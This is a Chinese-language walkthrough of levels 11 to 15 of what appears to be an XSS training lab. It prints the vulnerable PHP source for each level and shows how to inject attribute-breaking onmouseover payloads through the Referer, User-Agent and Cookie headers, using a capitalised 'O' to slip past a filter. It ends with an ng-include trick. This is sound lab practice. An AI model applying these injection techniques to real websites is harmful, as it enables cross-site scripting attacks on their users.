老规矩,先查看源码,做代码审计:
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "没有找到和"
.htmlspecialchars($str)."相关的结果.".'
'" type="hidden">
.'" type="hidden">
.htmlspecialchars($str00).'" type="hidden">
.$str33.'" type="hidden">
';
?>
发现他对关键词、特殊符号都做了过滤,还$str11接收了一个HTTP头部的referer字段,并且输出时没有做处理,用双引号闭合,于是可以对referer进行注入,用bp抓包,然后修改referer字段:
"type="text" οnmouseover="alert(/xss/)
如图:
修改成功后发包,但是没有事件发生,查看源码后发现小写o被转义:
重新抓包,将小写o改成大写O,当移动鼠标的事件发生时出现弹窗,通关:
查看源代码,做代码审计:
","",$str11);
$str33=str_replace("<","",$str22);
echo "没有找到和".htmlspecialchars($str)."相关的结果.
".'
';
?>
发现这关和第十一关类似,也需要抓包,不过将HTTP头部的字段换成了user-agent。
抓包后修改user-agent字段,将o改成大写:
"type="text" Onmouseover="alert(/xss/)
如图:
放包后通关成功:
做代码审计:
setcookie("user", "call me maybe?", time()+3600);
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_COOKIE["user"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "没有找到和"
.htmlspecialchars($str)."相关的结果.".'
'" type="hidden">
.'" type="hidden">
.htmlspecialchars($str00).'" type="hidden">
.$str33.'" type="hidden">
';
?>
发现这一关需要修改cookie字段,步骤和前两关一样:
抓包,修改:
"type="text" Onmouseover="alert(/xss/)
如图:
放包后通关成功:
来到第十四关,什么也没有:
查看源码,也是没有东西:
<html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<title>欢迎来到level14title>
head>
<body>
<h1 align=center>欢迎来到level14h1>
<center><iframe name="leftframe" marginwidth=10 marginheight=10 src="http://www.exifviewer.org/" frameborder=no width="80%" scrolling="no" height=80%>iframe>center><center>这关成功后不会自动跳转。成功者点我进level15a>center>
body>
html>
直接到十五关
第十五关只有一张图片:
查看源代码:
<title>欢迎来到level15</title>
</head>
<h1 align=center>欢迎来到第15关,自己想个办法走出去吧!</h1>
<p align=center><img src=level15.png></p>
<?php
ini_set("display_errors", 0);
$str = $_GET["src"];
echo '.htmlspecialchars($str).'">';
?>
发现它接收了一个参数src,并发现ng-include,ng-include的作用如下:
ng-include 指令用于包含外部的 HTML 文件。
ng-include可以作为一个属性,或者一个元素使用
这时候我们可以让这个网页包含一个有漏洞的外部php文件,如level1.php,用onerror事件
?src='level1.php?name='